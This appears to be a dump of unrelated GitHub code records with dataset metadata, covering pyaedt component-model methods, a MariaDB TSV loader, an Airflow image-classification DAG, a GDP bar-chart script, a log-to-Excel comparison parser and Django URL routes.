\"\"\"\n return self.edbcomponent.GetPlacementLayer().Clone().GetLowerElevation()\n\n @property\n def upper_elevation(self):\n \"\"\"Upper elevation of the placement layer.\n\n Returns\n -------\n float\n Upper elevation of the placement layer.\n\n \"\"\"\n return self.edbcomponent.GetPlacementLayer().Clone().GetUpperElevation()\n\n @property\n def top_bottom_association(self):\n \"\"\"Top/bottom association of the placement layer.\n\n Returns\n -------\n int\n Top/bottom association of the placement layer, where:\n\n * 0 - Top associated\n * 1 - No association\n * 2 - Bottom associated\n * 4 - Number of top/bottom associations.\n * -1 - Undefined\n \"\"\"\n return int(self.edbcomponent.GetPlacementLayer().GetTopBottomAssociation())\n\n @pyaedt_function_handler\n def _get_edb_value(self, value):\n return self._pedb.edb_value(value)\n\n @pyaedt_function_handler\n def _set_model(self, model): # pragma: no cover\n comp_prop = self.component_property\n comp_prop.SetModel(model)\n if not self.edbcomponent.SetComponentProperty(comp_prop):\n logging.error(\"Fail to assign model on {}.\".format(self.refdes))\n return False\n return True\n\n @pyaedt_function_handler\n def assign_spice_model(self, file_path, name=None):\n \"\"\"Assign Spice model to this component.\n\n Parameters\n ----------\n file_path : str\n File path of the Spice model.\n name : str, optional\n Name of the Spice model.\n\n Returns\n -------\n\n \"\"\"\n if not name:\n name = get_filename_without_extension(file_path)\n\n with open(file_path, \"r\") as f:\n for line in f:\n if \"subckt\" in line.lower():\n pinNames = [i.strip() for i in re.split(\" |\\t\", line) if i]\n pinNames.remove(pinNames[0])\n pinNames.remove(pinNames[0])\n break\n if len(pinNames) == self.numpins:\n model = self._edb.cell.hierarchy._hierarchy.SPICEModel()\n model.SetModelPath(file_path)\n model.SetModelName(name)\n terminal = 1\n for pn in pinNames:\n model.AddTerminalPinPair(pn, str(terminal))\n terminal += 1\n else: # pragma: no cover\n logging.error(\"Wrong number of Pins\")\n return False\n return self._set_model(model)\n\n @pyaedt_function_handler\n def assign_s_param_model(self, file_path, name=None, reference_net=None):\n \"\"\"Assign S-parameter to this component.\n\n Parameters\n ----------\n file_path : str\n File path of the S-parameter model.\n name : str, optional\n Name of the S-parameter model.\n\n Returns\n -------\n\n \"\"\"\n if not name:\n name = get_filename_without_extension(file_path)\n\n edbComponentDef = self.edbcomponent.GetComponentDef()\n nPortModel = self._edb.definition.NPortComponentModel.FindByName(edbComponentDef, name)\n if nPortModel.IsNull():\n nPortModel = self._edb.definition.NPortComponentModel.Create(name)\n nPortModel.SetReferenceFile(file_path)\n edbComponentDef.AddComponentModel(nPortModel)\n\n model = self._edb.cell.hierarchy._hierarchy.SParameterModel()\n model.SetComponentModelName(name)\n if reference_net:\n model.SetReferenceNet(reference_net)\n return self._set_model(model)\n\n @pyaedt_function_handler\n def assign_rlc_model(self, res=None, ind=None, cap=None, is_parallel=False):\n \"\"\"Assign RLC to this component.\n\n Parameters\n ----------\n res : int, float\n Resistance. Default is ``None``.\n ind : int, float\n Inductance. Default is ``None``.\n cap : int, float\n Capacitance. Default is ``None``.\n is_parallel : bool, optional\n Whether it is a parallel or series RLC component. The default is ``False``.\n \"\"\"\n if res is None and ind is None and cap is None:\n self._pedb.logger.error(\"At least one value has to be provided.\")\n return False\n r_enabled = True if res else False\n l_enabled = True if ind else False\n c_enabled = True if cap else False\n res = 0 if res is None else res\n ind = 0 if ind is None else ind\n cap = 0 if cap is None else cap\n res, ind, cap = self._get_edb_value(res), self._get_edb_value(ind), self._get_edb_value(cap)\n model = self._edb.cell.hierarchy._hierarchy.PinPairModel()\n\n pin_names = list(self.pins.keys())\n for idx, i in enumerate(np.arange(len(pin_names) // 2)):\n pin_pair = self._edb.utility.utility.PinPair(pin_names[idx], pin_names[idx + 1])\n\n rlc = self._edb.utility.utility.Rlc(res, r_enabled, ind, l_enabled, cap, c_enabled, is_parallel)\n model.SetPinPairRlc(pin_pair, rlc)\n return self._set_model(model)\n\n @pyaedt_function_handler\n def create_clearance_on_component(self, extra_soldermask_clearance=1e-4):\n \"\"\"Create a Clearance on Soldermask layer by drawing a rectangle.\n\n Parameters\n ----------\n extra_soldermask_clearance : float, optional\n Extra Soldermask value in meter to be applied on component bounding box.\n Returns\n -------\n bool\n \"\"\"\n bounding_box = self.bounding_box\n opening = [bounding_box[0] - extra_soldermask_clearance]\n opening.append(bounding_box[1] - extra_soldermask_clearance)\n opening.append(bounding_box[2] + extra_soldermask_clearance)\n opening.append(bounding_box[3] + extra_soldermask_clearance)\n\n comp_layer = self.placement_layer\n layer_names = list(self._pedb.stackup.stackup_layers.keys())\n layer_index = layer_names.index(comp_layer)\n if comp_layer in [layer_names[0] + layer_names[-1]]:\n return False\n elif layer_index < len(layer_names) / 2:\n soldermask_layer = layer_names[layer_index - 1]\n else:\n soldermask_layer = layer_names[layer_index + 1]\n\n if not self._pedb.modeler.get_primitives(layer_name=soldermask_layer):\n all_nets = list(self._pedb.nets.nets.values())\n poly = self._pedb._create_conformal(all_nets, 0, 1e-12, False, 0)\n self._pedb.modeler.create_polygon(poly, soldermask_layer, [], \"\")\n\n void = self._pedb.modeler.create_rectangle(\n soldermask_layer,\n \"{}_opening\".format(self.refdes),\n lower_left_point=opening[:2],\n upper_right_point=opening[2:],\n )\n void.is_negative = True\n return True\n", "repo_name": "ansys/pyaedt", "sub_path": "pyaedt/edb_core/edb_data/components_data.py", "file_name": "components_data.py", "file_ext": "py", "file_size_in_byte": 32093, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 158, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyaedt.generic.general_methods.is_ironpython", "line_number": 8, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 12, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 85, "usage_type": "name"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 105, "usage_type": "name"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 430, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 476, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 592, "usage_type": "call"}, {"api_name": "pyaedt.edb_core.edb_data.padstacks_data.EDBPadstackInstance", "line_number": 689, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 839, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 848, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 843, "usage_type": "name"}, {"api_name": "pyaedt.generic.general_methods.get_filename_without_extension", "line_number": 868, "usage_type": "call"}, {"api_name": "re.split", "line_number": 873, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 886, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 852, "usage_type": "name"}, {"api_name": "pyaedt.generic.general_methods.get_filename_without_extension", "line_number": 906, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 890, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 949, "usage_type": "call"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 921, "usage_type": "name"}, {"api_name": "pyaedt.generic.general_methods.pyaedt_function_handler", "line_number": 956, "usage_type": "name"}]} {"seq_id": "33683253863", "text": "import csv\nimport mariadb\nimport os\nimport re\nimport regex\n\ntry:\n db = mariadb.connect(host='localhost',user='admin',passwd='root',db='pgx')\n\nexcept mariadb.Error as e:\n print(f\"Error connecting to MariaDB Platform: {e}\")\n sys.exit(1)\n\ncursor = db.cursor(dictionary=True)\n\nsql1 = \"INSERT INTO 01_var_drug_ann(Variant_Annotation_ID\" \\\n + \",Variant_Haplotypes,Gene,Drug,PMID,Phenotype_Category\" \\\n + \",Significance,Notes,Sentence,Alleles,Specialty_Population)\" \\\n + \" VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}','{9}','{10}')\" \n\nos.chdir(\"INPUT/variantAnnotations\")\nmyfile = \"var_drug_ann.tsv\"\n\nwith open(myfile) as f:\n reader = csv.reader(f,delimiter=\"\\t\")\n next(reader, None)\n for row in reader:\n print(row)\n # replace single quotes\n my_line = [i.replace(\"'\", \" \") for i in row]\n # replace non latin characters\n out_line = []\n for text in my_line:\n stripped_text = ''\n for c in text:\n stripped_text += c if len(c.encode(encoding='utf_8'))==1 else ''\n out_line.append(stripped_text)\n cursor.execute(sql1.format(*out_line))\n\n", "repo_name": "manuelcorpas/13-PGX-REPO", "sub_path": "PYTHON/01_var_drug_ann.py", "file_name": "01_var_drug_ann.py", "file_ext": "py", "file_size_in_byte": 1185, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mariadb.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "mariadb.Error", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 21, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 25, "usage_type": "call"}]} {"seq_id": "18824441542", "text": "import os\ndir_path = os.path.abspath(os.path.join(__file__ ,\"../..\")) # Moves one level up in the directory\n\nimport sys\nsys.path.append(dir_path)\n\nfrom datetime import datetime, timedelta\nfrom jobs.data_load import dump_aerial, dump_aerial_cropped, dump_overlaid, create_csv_file_for_input\nfrom jobs.batch_create import prepare_batches, remove_batches\n\n# import os\n# import numpy as np\n# import pandas as pd\n# from src.config import get_config\n# from src.conv_net.train import Train\n# from src.conv_net.test import Test\n# from src.plot import Plot\n\n\n\nfrom jobs.train_cv_test import test_new, predictions\nfrom airflow import DAG\nfrom airflow.operators.python_operator import BranchPythonOperator, PythonOperator\n\n\nfrom airflow.models import Variable\n\ninput_csv_path = Variable.get('input_csv_path')\nwhich_run = Variable.get('which_run')\nimage_type = Variable.get('image_type')\nuse_checkpoint_of_run = Variable.get('use_checkpoint_of_run')\nfilter_conditions = Variable.get('data_filter_conditions')\nwhich_net = str(Variable.get('which_net'))\nbatch_size = int(Variable.get('batch_size'))\nprediction_threshold = float(Variable.get('prediction_threshold'))\nproportion_cv_data = float(Variable.get('proportion_cv_data'))\nproportion_test_data = float(Variable.get('proportion_test_data'))\n\n# if image_type == 'overlaid':\n# image_type = 'overlayed' # All over the code I used the wrong spelling for overlaid, here we specify the wrong\n # spelling such that the pipeline runs smoothly\n\n# Parse Variables\ncond_dict = {}\nfilter_conditions = filter_conditions.split('\\r\\n')\nfor conds in filter_conditions:\n k, func, v = conds.split(':')\n if func.strip() == 'None':\n cond_dict[k.strip()] = None\n elif func.strip() == 'bool':\n cond_dict[k.strip()] = bool(v.strip())\n elif func.strip() == 'int':\n cond_dict[k.strip()] = int(v.strip())\n elif func.strip() == 'float':\n cond_dict[k.strip()] = float(v.strip())\n elif func.strip() == 'str':\n cond_dict[k.strip()] = str(v.strip())\n\ndefault_args = {\n 'owner': 'Newline Financial',\n 'depends_on_past': False,\n 'start_date': datetime(2018, 5, 1),\n 'email': ['airflow@airflow.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=2)\n}\n\n\n\ndag = DAG('PropertyClassification_test_pipeline', default_args=default_args)\n\nclean_filter_records = PythonOperator(dag=dag,\n task_id='clean_filter_records',\n provide_context=True,\n python_callable=create_csv_file_for_input,\n params=dict(\n input_csv_path=input_csv_path,\n which_run=which_run,\n img_type= image_type,\n cond_dict=cond_dict)\n )\n\nfetch_aerial_images = PythonOperator(dag=dag,\n task_id='fetch_aerial_images',\n provide_context=True,\n python_callable=dump_aerial,\n params=dict(\n which_run=which_run,\n img_type= image_type)\n )\n\n\n\ncreate_aerial_cropped_images = PythonOperator(dag=dag,\n task_id='create_aerial_cropped_images',\n provide_context=True,\n python_callable=dump_aerial_cropped,\n params=dict(\n which_run=which_run,\n img_type=image_type)\n )\n\ncreate_overlaid_images = PythonOperator(dag=dag,\n task_id='create_overlaid_images',\n provide_context=True,\n python_callable=dump_overlaid,\n params=dict(\n which_run=which_run,\n img_type=image_type)\n )\n\n\n\ncreate_batches_new_test = PythonOperator(dag=dag,\n task_id='create_batches_new_test',\n provide_context=True,\n python_callable=prepare_batches,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n is_cvalid_test=False,\n batch_size=batch_size,\n proportion_cv_data=proportion_cv_data,\n proportion_test_data=proportion_test_data)\n )\n\n\ntest_on_new_images = PythonOperator(dag=dag,\n task_id='test_on_new_images',\n provide_context=True,\n python_callable=test_new,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n use_checkpoint_for_run=use_checkpoint_of_run,\n use_checkpoint_for_imageType=image_type,\n which_net=which_net)\n )\n\nmake_final_predictions = PythonOperator(dag=dag,\n task_id='make_final_predictions',\n provide_context=True,\n python_callable=predictions,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n use_checkpoint_for_run=use_checkpoint_of_run,\n use_checkpoint_for_imageType=image_type,\n which_net=which_net,\n use_checkpoint_for_prediction='all',\n classification_threshold=prediction_threshold)\n )\n\n\nremove_batches = PythonOperator(dag=dag,\n task_id='remove_batches',\n provide_context=True,\n python_callable=remove_batches,\n params = dict(\n which_run=which_run,\n img_type=image_type)\n )\n\n\n\n\noptions = ['create_aerial_cropped_images', 'create_overlaid_images']\nif image_type == 'aerial_cropped':\n idx = 0\nelif image_type == 'overlaid':\n idx = 1\nelse:\n raise ValueError('Provide a valid image_type')\n\nbranching = BranchPythonOperator(\n task_id='branching',\n python_callable= lambda: options[idx],\n dag=dag)\n\n\nclean_filter_records >> fetch_aerial_images >> branching\n\nbranching >> create_aerial_cropped_images >> create_batches_new_test >> test_on_new_images >> make_final_predictions >> remove_batches\n\nbranching >> create_overlaid_images >> create_batches_new_test #>> test_new_data >>\n\n\n# predictions_on_test_new_data >> \\\n# remove_batches", "repo_name": "Sardhendu/PropertyClassification", "sub_path": "dags/test_pipeline.py", "file_name": "test_pipeline.py", "file_ext": "py", "file_size_in_byte": 7727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "airflow.models.Variable.get", "line_number": 28, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 28, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 29, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 29, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 30, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 30, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 31, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 31, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 32, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 32, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 33, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 33, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 34, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 34, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 35, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 35, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 36, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 36, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 37, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 67, "usage_type": "call"}, {"api_name": "airflow.DAG", "line_number": 72, "usage_type": "call"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 74, "usage_type": "call"}, {"api_name": "jobs.data_load.create_csv_file_for_input", "line_number": 77, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 85, "usage_type": "call"}, {"api_name": "jobs.data_load.dump_aerial", "line_number": 88, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 96, "usage_type": "call"}, {"api_name": "jobs.data_load.dump_aerial_cropped", "line_number": 99, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 105, "usage_type": "call"}, {"api_name": "jobs.data_load.dump_overlaid", "line_number": 108, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 116, "usage_type": "call"}, {"api_name": "jobs.batch_create.prepare_batches", "line_number": 119, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 130, "usage_type": "call"}, {"api_name": "jobs.train_cv_test.test_new", "line_number": 133, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 142, "usage_type": "call"}, {"api_name": "jobs.train_cv_test.predictions", "line_number": 145, "usage_type": "name"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 157, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 157, "usage_type": "call"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 160, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.BranchPythonOperator", "line_number": 177, "usage_type": "call"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 185, "usage_type": "name"}]} {"seq_id": "30643771758", "text": "# \t获取美国、英国、德国、瑞典、法国的近10年的GDP数据（2000-2020），用柱状图表示。\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nGDP_data=pd.read_excel(\"D:\\pyPrograming\\FinancialDataMining\\DataMiningonFinance\\GDP_Data.xls\",'Data')\n# print(GDP_data)\n\nusa_gdp=GDP_data.loc[GDP_data['Country Name']=='美国','2010':\"2020\"]\nuk_gdp=GDP_data.loc[GDP_data['Country Name']=='英国','2010':\"2020\"]\nrui_gdp=GDP_data.loc[GDP_data['Country Name']=='瑞典','2010':\"2020\"]\nfk_gdp=GDP_data.loc[GDP_data['Country Name']=='法国','2010':\"2020\"]\nde_gdp=GDP_data.loc[GDP_data['Country Name']=='德国','2010':\"2020\"]\nchina_gdp=GDP_data.loc[GDP_data['Country Name']=='中国','2010':\"2020\"]\n\ntotal_data=pd.concat([usa_gdp,uk_gdp,rui_gdp,fk_gdp,de_gdp,china_gdp])\nprint(total_data)\n\nyear=np.arange(2010,2021)\nx=np.arange(11)\n\n\nplt.figure(figsize=(12, 6))\n\nbar1=plt.bar(x-0.2,total_data.loc[251],color='r',alpha=0.2,width=0.1,label='usa')\nbar2=plt.bar(x-0.1,total_data.loc[81],color='b',alpha=0.5,width=0.1,label='uk')\nbar3=plt.bar(x,total_data.loc[223],color='k',alpha=0.2,width=0.1,label='ruidian')\nbar4=plt.bar(x+0.1,total_data.loc[77],color='yellow',alpha=0.2,width=0.1,label='faguo')\nbar5=plt.bar(x+0.2,total_data.loc[55],color='blue',alpha=0.2,width=0.1,label='deguo')\nbar6=plt.bar(x+0.3,total_data.loc[40],color='red',alpha=1,width=0.1,label='china')\n\n\nplt.xlabel(\"years\")\nplt.ylabel(\"GDP\")\nplt.xticks(x,year)\nplt.legend()\nplt.title(\"Develop Country GDP\")\n# 太乱了\n# for bar in bar1+bar2+bar3+bar4+bar5:\n# height=bar.get_height()\n# plt.text(x=bar.get_width()/2+bar.get_x(),y=height,s='%d' % int(height),va='bottom',ha='center')\nplt.savefig('sixGDP',dpi=300,bbox_inches='tight')\nplt.show()\n\n", "repo_name": "whyandwhatandhow/python", "sub_path": "GDP_Test/test01.py", "file_name": "test01.py", "file_ext": "py", "file_size_in_byte": 1747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_excel", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]} {"seq_id": "12208018067", "text": "import re\nimport os\nimport openpyxl\n\nclass ParserLogs():\n\n def regExFinder(self, regex, test_str):\n grouplist = []\n matches = re.finditer(regex, test_str, re.MULTILINE)\n for matchNum, match in enumerate(matches):\n matchNum = matchNum + 1\n for groupNum in range(0, len(match.groups())):\n groupNum = groupNum + 1\n\n grouplist.append(match.group(groupNum))\n return grouplist\n\n def readLogFile(self, logFileName, path):\n fullLog = ''\n with open(logFileName, \"r\") as f:\n fullLog = f.read()\n return fullLog\n\n def parseLogFile(self, logData):\n logDataMap = {}\n todaysDateRegEx = r\"Today\\s+is\\s+(\\d+-\\d+-\\d+)\"\n intCreditCountRegEx = r\"intCreditcount\\s+:(\\d+)\"\n creditAmountRegEx = r\"Debit\\s+Amount\\s+:\\S+\\s+Credit\\s+Amount\\s+:(\\S+)\"\n totalHKD_SACRM_records_readRegEx = r\"Total\\s+HKD\\s+SACRM\\s+record\\s+read\\s+:\\s+(\\S+)\"\n totalHKD_SACRM_records_writtenRegEx = r\"Total\\s+HKD\\s+SACRM\\s+record\\s+written\\s+:\\s+(\\S+)\"\n totalHKD_SACRM_records_rejectedRegEx = r\"Total\\s+HKD\\s+SACRM\\s+record\\s+rejected\\s+:\\s+(\\S+)\"\n\n todaysDate = pl.regExFinder(todaysDateRegEx, logData)\n logDataMap['todaysDate'] = todaysDate[0]\n\n intCreditCount = pl.regExFinder(intCreditCountRegEx, logData)\n logDataMap['intCreditCount'] = intCreditCount[0]\n\n creditAmount = pl.regExFinder(creditAmountRegEx, logData)\n logDataMap['creditAmount'] = creditAmount[0]\n\n totalHKD_SACRM_records_read = pl.regExFinder(totalHKD_SACRM_records_readRegEx, logData)\n logDataMap['totalHKD_SACRM_records_read'] = totalHKD_SACRM_records_read[0]\n\n totalHKD_SACRM_records_written = pl.regExFinder(totalHKD_SACRM_records_writtenRegEx, logData)\n logDataMap['totalHKD_SACRM_records_written'] = totalHKD_SACRM_records_written[0]\n\n totalHKD_SACRM_records_rejected = pl.regExFinder(totalHKD_SACRM_records_rejectedRegEx, logData)\n logDataMap['totalHKD_SACRM_records_rejected'] = totalHKD_SACRM_records_rejected[0]\n\n print(logDataMap)\n return logDataMap\n\n def parseExcelFile(self, excelFileName):\n excelDataMap = {}\n wb = openpyxl.load_workbook(excelFileName, data_only=True)\n sheet = wb['Sheet2']\n\n excelDataMap['finacle'] = sheet[\"H4\"].value\n excelDataMap['si_ta_mift'] = sheet[\"H5\"].value\n excelDataMap['tas'] = sheet[\"H6\"].value\n\n excelDataMap['finacleTotalAmt'] = sheet[\"I4\"].value\n excelDataMap['si_ta_mift_TotalAmt'] = sheet[\"I5\"].value\n excelDataMap['tas_TotalAmt'] = sheet[\"I6\"].value\n\n print(excelDataMap)\n return excelDataMap\n\n def compareValues(self, logDataMap, excelDataMap):\n finalStatus = False\n if (logDataMap['creditAmount'] == excelDataMap['tas_TotalAmt']):\n print('credit and totalamount matched') \n finalStatus = True\n if (logDataMap['totalHKD_SACRM_records_read'] == excelDataMap['si_ta_mift']):\n print('totalHKD_SACRM_records_read and si_ta_mift matched') \n finalStatus = True \n return finalStatus\n \n\npl = ParserLogs()\npwd = os.getcwd()\nlogData = pl.readLogFile(\"Merging_TO_HKICL_SACRM_26032020_ 4300098.log\", pwd)\n#print(logData)\nlogDataMap = pl.parseLogFile(logData)\nexcelDataMap = pl.parseExcelFile('outward_SACRM_12042020.xlsx')\nstatus = pl.compareValues(logDataMap, excelDataMap)\nif(status == True):\n print(\"all data is matched with expected values, invoke new job\")\nelse:\n print(\"there is data mis-match with expected values\")", "repo_name": "udayreddyk7/LogParsing", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3632, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.finditer", "line_number": 9, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 9, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 56, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 82, "usage_type": "call"}]} {"seq_id": "26470774608", "text": "from django.urls import path\nfrom django.views import generic\n\nfrom src.apps.refugio import views\n\nurlpatterns = [\n path('mascota/list/', views.MascotaListview.as_view(), name='mascota_list'),\n path('mascota/create/', views.MascotaCreateView.as_view(), name='mascota_create'),\n path('mascota//', views.MascotaDetailView.as_view(), name='mascota_detail'),\n path('mascota//update/', views.MascotaUpdateView.as_view(), name='mascota_update'),\n path('mascota//delete/', views.MascotaDeleteView.as_view(), name='mascota_delete'),\n\n path('vue/', views.VueView.as_view(), name='vue'),\n path('vue//', views.VueView.as_view(), name='vue'),\n\n path('vue-min/', views.VueMinListView.as_view(), name='vue_min_list'),\n path('vue-min//', views.VueMinUpdateView.as_view(), name='vue_min_edit'),\n\n path('htmx/intro/clicked/', generic.TemplateView.as_view(template_name='htmx/intro.html')),\n path('htmx/intro/mouseenter/', generic.TemplateView.as_view(template_name='htmx/intro.html')),\n\n path('htmx/', views.HTMXListView.as_view(), name='htmx_list'),\n path('htmx/', views.HTMXDetailView.as_view(), name='htmx_detail'),\n path('htmx//update/', views.HTMXUpdateView.as_view(), name='htmx_update'),\n\n]", "repo_name": "FernandoPrzGmz/Introduccion-a-Vue.js-o-HTMX-con-Django", "sub_path": "django/src/apps/refugio/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaListview.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaListview", "line_number": 7, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaCreateView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaCreateView", "line_number": 8, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaDetailView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaDetailView", "line_number": 9, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaUpdateView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaUpdateView", "line_number": 10, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaDeleteView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "src.apps.refugio.views.MascotaDeleteView", "line_number": 11, "usage_type": "attribute"}, {"api_name": "src.apps.refugio.views", 